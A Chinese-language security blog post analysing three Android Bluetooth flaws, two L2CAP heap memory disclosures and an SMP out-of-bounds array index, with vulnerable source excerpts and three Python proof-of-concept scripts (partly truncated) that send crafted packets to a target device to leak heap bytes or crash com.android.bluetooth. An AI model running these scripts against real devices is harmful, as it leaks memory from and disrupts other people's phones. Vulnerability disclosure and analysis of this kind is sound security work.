快速理解Android中的三個藍芽漏洞

快速理解Android中的三個藍芽漏洞

兩個記憶體洩漏和一個數組索引越界

漏洞簡介

Issue 74882215: Bluetooth L2CAP L2CAP_CMD_CONN_REQ Remote Memory Disclosure(藍芽L2CAP L2CAP_CMD_CONN_REQ遠端記憶體洩漏)

Issue 74889513: Bluetooth L2CAP L2CAP_CMD_DISC_REQ Remote Memory Disclosure(藍芽L2CAP L2CAP_CMD_DISC_REQ遠端記憶體洩漏)

Issue 74917004: Bluetooth SMP smp_sm_event() OOB Array Indexing(藍芽SMP smp_sm_event()OOB陣列索引)

漏洞1:Bluetooth L2CAP L2CAP_CMD_CONN_REQ Remote Memory Disclosure

(藍芽L2CAP L2CAP_CMD_CONN_REQ遠端記憶體洩漏)

簡要

透過將巧盡心思構造的L2CAP資料包傳送到目標裝置,藍芽範圍內的遠端攻擊者可以利用Android藍芽堆疊中的漏洞來洩露屬於com。android。bluetooth守護程式堆的

2個

位元組(一個uint16_t資料)。

前置介紹

L2CAP

L2CAP(Logical Link Control and Adaptation Protocol),即邏輯鏈路控制和適配協議

快速理解Android中的三個藍芽漏洞

【藍芽架構中如圖所示】

L2CAP是藍芽協議棧中的一個協議。

功能包括 為更高層的協議傳輸資料、在單個鏈路上覆用多個應用程式。

L2CAP是基於通道的,並且控制命令在預定義的L2CAP_SIGNALLING_CID(0x01)通道上傳送。

漏洞詳情

漏洞在於使用 STREAM_TO_UINT16從而不檢查攻擊者控制的資料包中是否剩餘了足夠的資料。如果第二次使用 STREAM_TO_UINT16時,資料包中沒有剩餘位元組,那麼將越界讀取 rcid

結果:洩漏資料包後相鄰的兩個位元組(rcid)

L2CAP傳入的資料由l2c_rcv_acl_data()函式[ platform / system / bt / stack / l2cap / l2c_main。cc ]處理。

如果傳入的L2CAP資料包指定L2CAP_SIGNALLING_CID作為其目標通道,則l2c_rcv_acl_data()呼叫process_l2cap_cmd()函式來處理L2CAP控制命令。

以上過程如下所示:

快速理解Android中的三個藍芽漏洞

L2CAP_CMD_CONN_REQ控制命令在process_L2CAP_CMD()函式中是這樣處理的:

case L2CAP_CMD_CONN_REQ: STREAM_TO_UINT16(con_info。psm, p); STREAM_TO_UINT16(rcid, p); p_rcb = l2cu_find_rcb_by_psm(con_info。psm); if (p_rcb == NULL) { L2CAP_TRACE_WARNING(“L2CAP - rcvd conn req for unknown PSM: %d”, con_info。psm); l2cu_reject_connection(p_lcb, rcid, id, L2CAP_CONN_NO_PSM); break; } else { [。。。]

程式碼使用了兩次STREAM_TO_UINT16宏[ platform / system / bt / stack / include / bt_types。h ], 從L2CAP資料包(上面的變數p,就是資料包中的資料)中一共讀取2個uint16_t值(讀入後分別放入了con_info。psm和rcid中)。

#define STREAM_TO_UINT16(u16, p) \ { \ (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8)); \ (p) += 2; \ }

漏洞在於使用STREAM_TO_UINT16宏而不檢查攻擊者控制的資料包中是否剩餘了足夠的資料。如果第二次使用STREAM_TO_UINT16時,資料包中沒有剩餘位元組,那麼將

越界讀取

rcid(也可能越界讀取con_info。psm,只是後面不會洩露出來),更確切地說,從堆上與資料包相鄰的任何資料。之後,如果l2cu_find_rcb_by_psm()返回NULL,並且因此到達了if分支,則呼叫l2cu_reject_connection() [ stack / l2cap / l2c_utils。cc ]將向遠端對等方傳送rcid,從而有效地從堆中洩漏了2個位元組:

void l2cu_reject_connection(tL2C_LCB* p_lcb, uint16_t remote_cid, uint8_t rem_id, uint16_t result) { [。。。] UINT16_TO_STREAM(p, 0); /* Local CID of 0 */ UINT16_TO_STREAM(p, remote_cid); UINT16_TO_STREAM(p, result); UINT16_TO_STREAM(p, 0); /* Status of 0 */ l2c_link_check_send_pkts(p_lcb, NULL, p_buf);}

請注意,攻擊者可以透過在特製的L2CAP資料包中提供

未註冊的協議/服務多路複用器

(PSM)ID欄位來完全影響l2cu_find_rcb_by_psm(),以致於始終返回NULL(從而始終到達if分支)。

另外,請注意,這種使用STREAM_TO_UINT16宏而不檢查攻擊者控制的資料包中是否剩餘足夠資料的不安全程式碼模式似乎已在process_l2cap_cmd()函式的各處使用。

總結來說,過程如下圖所示:

快速理解Android中的三個藍芽漏洞

從堆疊上透過函式STREAM_TO_UINT16分別讀取兩位元組到con_info。psm和rcid,con_info。psm再透過函式l2cu_find_rcd_by_psm函式得到p_rcb,對p_rcb進行判斷,如果p_rcb == NULL(可以透過提供未註冊的協議/服務多路複用器ID欄位來實現),會讀取rcid等資訊。

如果,資料包中的資料在資料1。。就已經結束,程式還是會將堆疊上將相鄰兩個位元組的資料(也就是資料2。。)讀入到rcid,最後傳送給遠端對等方。那麼,最後整個攻擊結果就是這裡的記憶體洩漏了兩個位元組。

Proof-of-Concept(概念驗證)

以下Python程式碼觸發了該漏洞,並列印了從目標藍芽裝置的com。android。bluetooth守護程式堆洩漏的16位值。

此Python程式碼使用Blueborne框架中的l2cap_infra包。

用法:$ sudo python l2cap01。py

例如:$ sudo python l2cap01。py hci0 00:11:22:33:44:55。

import osimport sysfrom l2cap_infra import *L2CAP_SIGNALLING_CID = 0x01L2CAP_CMD_CONN_REQ = 0x02def main(src_hci, dst_bdaddr): l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr) # This will leak 2 bytes from the heap 這將從堆中洩漏2個位元組 print “Sending L2CAP_CMD_CONN_REQ in L2CAP connection。。。” #傳送L2CAP連線中的L2CAP命令連線請求 cmd_code = L2CAP_CMD_CONN_REQ cmd_id = 0x41 # not important cmd_len = 0x00 # bypasses this check at lines 296/297 of l2c_main。cc: p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) { non_existent_psm = 0x3333 # Non-existent Protocol/Service Multiplexer id, so l2cu_find_rcb_by_psm() returns NULL and l2cu_reject_connection() is called 協議/服務多路複用器id不存在,因此l2cu_find_rcb_by_psm()返回NULL,並呼叫l2cu_reject_connection() # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd(): #這裡我們將L2CAP_signaling_CID用作CID,因此l2c_rcv_acl_data()呼叫程序_L2CAP_cmd(): # 170 /* Send the data through the channel state machine 透過通道狀態機發送資料*/ # 171 if (rcv_cid == L2CAP_SIGNALLING_CID) { # 172 process_l2cap_cmd(p_lcb, p, l2cap_len); l2cap_loop。send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct。pack(‘ ”) else: if os。getuid(): print “Error: This script must be run as root。” else: main(*sys。argv[1:])

漏洞2:Bluetooth L2CAP L2CAP_CMD_DISC_REQ Remote Memory Disclosure

藍芽L2CAP L2CAP_CMD_DISC_REQ遠端記憶體洩露

簡要

透過將特製的L2CAP資料包傳送到目標裝置,藍芽範圍內的遠端攻擊者可以使用Android 藍芽堆疊中的漏洞來洩露屬於com。android。bluetooth守護程式堆的4個位元組。

漏洞詳情

漏洞在於,兩次使用了STREAM_TO_UINT16 宏,而沒有檢查攻擊者控制的資料包中是否至少還有4個位元組。如果資料包中沒有剩餘位元組,則越界讀取 lcid 和 rcid。

結果:洩漏資料包後相鄰的四個位元組

L2CAP_CMD_DISC_REQ控制命令在process_L2CAP_CMD()函式中是這樣處理的:

case L2CAP_CMD_DISC_REQ: STREAM_TO_UINT16(lcid, p); STREAM_TO_UINT16(rcid, p); p_ccb = l2cu_find_ccb_by_cid(p_lcb, lcid); if (p_ccb != NULL) { if (p_ccb->remote_cid == rcid) { p_ccb->remote_id = id; l2c_csm_execute(p_ccb, L2CEVT_L2CAP_DISCONNECT_REQ, &con_info); } } else l2cu_send_peer_disc_rsp(p_lcb, id, lcid, rcid);

上面的程式碼兩次使用STREAM_TO_UINT16宏[ platform / system / bt / stack / include / bt_types。h ] ,從L2CAP資料包中一共讀取2個uint16_t值(lcid和rcid):

漏洞在於,兩次使用了STREAM_TO_UINT16宏,而沒有檢查攻擊者控制的資料包中是否至少還有4個位元組。如果資料包中沒有剩餘位元組,則越界讀取lcid和rcid,更準確地說,從堆上與資料包資料相鄰的任何資料讀取。之後,如果l2cu_find_ccb_by_cid()返回NULL並因此到達else分支,則呼叫l2cu_send_peer_disc_rsp() [ platform / system / bt / stack / l2cap / l2c_utils。cc ]向遠端對等方傳送lcid和rcid,有效地從堆中洩漏了4個位元組:

void l2cu_send_peer_disc_rsp(tL2C_LCB* p_lcb, uint8_t remote_id, uint16_t local_cid, uint16_t remote_cid) {[。。。] UINT16_TO_STREAM(p, local_cid); UINT16_TO_STREAM(p, remote_cid); l2c_link_check_send_pkts(p_lcb, NULL, p_buf);}

請注意,攻擊者可能會完全影響l2cu_find_ccb_by_cid()來返回NULL(並因此到達else分支),因為除非在目標藍芽裝置和攻擊者的藍芽裝置之間使用虛假lcid設定了活動的通道控制塊(CCB),否則該函式將始終返回NULL。

圖示如下:

快速理解Android中的三個藍芽漏洞

從堆疊上透過函式STREAM_TO_UINT16分別讀取兩位元組到lcid和rcid,con_info。psm再透過函式l2cu_find_ccd_by_cid函式得到p_ccb,對p_ccb進行判斷,如果p_ccb == NULL(透過在目標藍芽之間使用的虛擬lcid不設定活動的通道控制塊來實現),然後就會向遠端對等方傳送lcid和rcid等資訊。

如果,資料包中的資料在資料1。。之前就已經結束,程式還是會將堆疊上將相鄰四個位元組的資料(也就是資料2。。)分別讀入到lcid和rcid,最後傳送給遠端對等方。那麼,最後整個攻擊結果就是這裡的記憶體洩漏了四個位元組。

Proof-of-Concept(概念驗證)

以下Python程式碼觸發了該漏洞,並列印了從目標藍芽裝置的com。android。bluetooth守護程式堆洩漏的兩個16位值。

此Python程式碼使用Blueborne框架中的l2cap_infra包。

用法: $ sudo python l2cap02。py

例如:$ sudo python l2cap02。py hci0 00:11:22:33:44:55。

import osimport sysfrom l2cap_infra import *L2CAP_SIGNALLING_CID = 0x01L2CAP_CMD_DISC_REQ = 0x06def main(src_hci, dst_bdaddr): l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr) # This will leak 4 bytes from the heap 這將從堆中洩漏4個位元組 print “Sending L2CAP_CMD_DISC_REQ command in L2CAP connection。。。” cmd_code = L2CAP_CMD_DISC_REQ cmd_id = 0x41 # not important cmd_len = 0x00 # bypasses this check at lines 296/297 of l2c_main。cc: p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) { # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd(): #這裡我們將L2CAP_signaling_CID用作CID,因此l2c_rcv_acl_data()呼叫程序_L2CAP_cmd(): # 170 /* Send the data through the channel state machine */ # 171 if (rcv_cid == L2CAP_SIGNALLING_CID) { # 172 process_l2cap_cmd(p_lcb, p, l2cap_len); l2cap_loop。send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct。pack(‘ ”) else: if os。getuid(): print “Error: This script must be run as root。” else: main(*sys。argv[1:])

漏洞3:Bluetooth SMP smp_sm_event() OOB Array Indexing

Bluetooth SMP smp_sm_event() OOB陣列索引

簡要

藍芽範圍內的遠端攻擊者可以使用Android 藍芽堆疊中的漏洞,透過以意外傳輸方式將包含SMP_OPCODE_PAIRING_REQ命令的SMP資料包傳送到目標裝置,從而使com。android。bluetooth守護程式訪問其邊界之外的陣列。

前置介紹

安全管理協議SMP

SMP(The Security Manager Protocol )

連線建立之後,雙方透過某些方式協商共同的金鑰,然後將後續要傳輸的資料用這個金鑰透過加密演算法進行加密,然後傳送。接收方,接收到這些資料後,必須使用正確的金鑰來解密,才能得到正確的資料了。接著,建立金鑰,即完成雙方金鑰協商,就金鑰一事達成共同一致的過程。

過程如圖所示:

快速理解Android中的三個藍芽漏洞

為執行在低功耗藍芽協議棧上的應用程式提供諸如身份驗證,裝置授權和資料隱私等服務的許可權。

漏洞詳情

陣列索引只接受0x0和0x1,而作為索引的變數還能設定為0xff,導致後續引用可能導致分段錯誤

SMP協議透過預定義的L2CAP_SMP_CID(0x06)通道,位於L2CAP之上。

傳入的SMP資料包由smp_data_received()函式[ platform / system / bt / stack / smp / smp_l2c。cc ]處理。如果 透過包含SMP_OPCODE_PAIRING_REQ(0x01)命令的L2CAP_SMP_CID固定通道 接收到輸入SMP資料包,則將到達以下程式碼:

static void smp_data_received(uint16_t channel, const RawAddress& bd_addr, BT_HDR* p_buf) { [。。。] /* reject the pairing request if there is an on-going SMP pairing */ if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) { if ((p_cb->state == SMP_STATE_IDLE) && (p_cb->br_state == SMP_BR_STATE_IDLE) && !(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) { p_cb->role = L2CA_GetBleConnRole(bd_addr); [。。。]

如上面的程式碼所示,最後一行中p_cb-> role設定為L2CA_GetBleConnRole(bd_addr)返回的值。p_cb-> role應該儲存以下值之一[ platform / system / bt / stack / include / hcidefs。h ],也就是 p_cb->role的值可以是0x00、0x01、0xff

/* HCI role defenitions */#define HCI_ROLE_MASTER 0x00#define HCI_ROLE_SLAVE 0x01#define HCI_ROLE_UNKNOWN 0xff

如果我們檢視L2CA_GetBleConnRole()函式的程式碼[ platform / system / bt / stack / l2cap / l2c_ble。cc ],我們可以看到它呼叫了l2cu_find_lcb_by_bd_addr()為了查詢活躍的連結控制塊(an active Link Control Block)(LCB)結構匹配遠端BDADDR並且使用低能耗傳輸(BT_TRANSPORT_LE);如果找不到它,則返回HCI_ROLE_UNKNOWN(0xff)。當我們透過BR/EDR(基本速率/增強資料速率,也稱為“經典”藍芽)傳輸傳送包含SMP_OPCODE_PAIRING_REQ命令的SMP資料包時,這種情況會發生,因為它只適用於低能量(LE)傳輸:

uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) { uint8_t role = HCI_ROLE_UNKNOWN; tL2C_LCB* p_lcb; p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE); if (p_lcb != NULL) role = p_lcb->link_role; return role;}

因此,回到smp_data_received()函式,將p_cb-> role設定為HCI_ROLE_UNKNOWN(0xff)之後,它呼叫smp_sm_event() [ platform / system / bt / stack / smp / smp_main。cc ],我們到達以下程式碼:

953 void smp_sm_event(tSMP_CB* p_cb, tSMP_EVENT event, tSMP_INT_DATA* p_data) { 。。。957 tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role]; 。。。970 /* look up the state table for the current state */971 /* lookup entry /w event & curr_state */972 /* If entry is ignore, return。973 * Otherwise, get state table (according to curr_state or all_state) */974 if ((event <= SMP_MAX_EVT) &&975 ((entry = entry_table[event - 1][curr_state]) != SMP_SM_IGNORE)) {

在957行,程式碼使用p_cb-> role作為索引從smp_entry_table靜態陣列中讀取,而無需檢查p_cb-> role是否具有兩個有效值之一(HCI_ROLE_MASTER(0x00)或HCI_ROLE_SLAVE(0x01))。這就是漏洞所在:smp_entry_table靜態陣列僅包含2個元素,而p_cb-> role的值為0xFF,是在透過BR / EDR傳輸接收到包含SMP_OPCODE_PAIRING_REQ命令的SMP資料包之後,而不是透過預期的低能耗傳輸:

static const tSMP_ENTRY_TBL smp_entry_table[] = {smp_master_entry_map, smp_slave_entry_map};

因此,由於執行entry_table = smp_entry_table [0xff]時的OOB索引,entry_table區域性變數將包含一些垃圾值(無論是否在bluetooth。default。so二進位制資料的smp_entry_table全域性變數之後)。因此,稍後,在第975行,當取消引用entry_table [event- 1] [curr_state]時,很可能會導致分段錯誤(受特定版本的bluetooth。default。so二進位制檔案的影響,smp_entry_table全域性變數位於該二進位制檔案中)),這將使com。android。bluetooth守護程式停止工作。

總結來說,過程如下圖所示:

快速理解Android中的三個藍芽漏洞

文中提及的函式呼叫關係:

快速理解Android中的三個藍芽漏洞

【箭頭指向表示呼叫該函式】

理論上講,如果能夠找到了一個版本的bluetooth。default。so,取消引用entry_table [event-1] [curr_state],那麼程式就不會崩潰,可以進一步解決此錯誤。

Proof-of-Concept(概念驗證)

以下Python程式碼觸發了該漏洞,並且很有可能使目標裝置上的com。android。bluetooth守護程式崩潰。

此Python程式碼使用Blueborne框架中的l2cap_infra包。

用法: $ sudo python smp01。py

例如:$ sudo python smp01。py hci0 00:11:22:33:44:55。

import osimport sysfrom l2cap_infra import *L2CAP_SMP_CID = 0x06# This matches the CID used in l2cap_infra to establish a successful connection。OUR_LOCAL_SCID = 0x40SMP_OPCODE_PAIRING_REQ = 0x01def main(src_hci, dst_bdaddr): l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr) print “Sending SMP_OPCODE_PAIRING_REQ in L2CAP connection。。。” cmd_code = SMP_OPCODE_PAIRING_REQ the_id = 0x41 # not important cmd_len = 0x08 flags = 0x4142 # not important # here we use L2CAP_SMP_CID as cid l2cap_loop。send(L2CAP_Hdr(cid=L2CAP_SMP_CID) / Raw(struct。pack(‘ ”) else: if os。getuid(): print “Error: This script must be run as root。” else: main(*sys。argv[1:])

結論

漏洞2和漏洞1思想本質上是一致的。

相同點:都因為STREAM_TO_UINT16宏沒有對讀入資料進行檢驗,是否到達資料包中還有足夠的資料,導致越界讀取,最後洩漏記憶體資料。

不同點:在繞過前面判斷後 到達的洩漏函式,漏洞1只向遠端對等方法送了第二個從資料包那塊讀入的uint16_t資料;而漏洞2則向遠端對等放傳送了兩個從資料包那塊讀入的uint16_t的資料,所以漏洞1可以洩漏2兩個位元組,漏洞2可以洩漏4個位元組

前兩個漏洞會影響處理L2CAP協議的程式碼,並且它們允許遠端攻擊者(在藍芽範圍內)洩露屬於com。android。bluetooth程序的記憶體內容。這些記憶體洩露漏洞可能對

漏洞利用鏈的早期階段

的攻擊者有所幫助,甚至可以用來

檢索敏感資料

第三個漏洞是SMP協議實現中的

越界陣列索引錯誤

,儘管最有可能使com。android。bluetooth

程序崩潰

,但仍有可能利用它在易受攻擊的Android裝置上遠端執行程式碼。有趣的是,與兩個L2CAP問題不同,此SMP錯誤並不是解析格式錯誤的資料包的結果。實際上,可以透過傳送格式

正確的SMP資料包

(包含SMP_OPCODE_PAIRING_REQ)來觸發它,但是要是透過

BR / EDR(“經典”藍芽)傳輸

而不是預期的

BLE(低能耗)傳輸

來觸發。

總的來說,雖然是兩類漏洞,但是問題起因都在於程式碼上的檢驗不夠完整導致的,使得程式執行到了非預期的情況。

參考:https://blog。quarkslab。com/a-story-about-three-bluetooth-vulnerabilities-in-android。html

本文由

言承

原創釋出

轉載,請參考轉載宣告,註明出處: https://www。anquanke。com/post/id/215179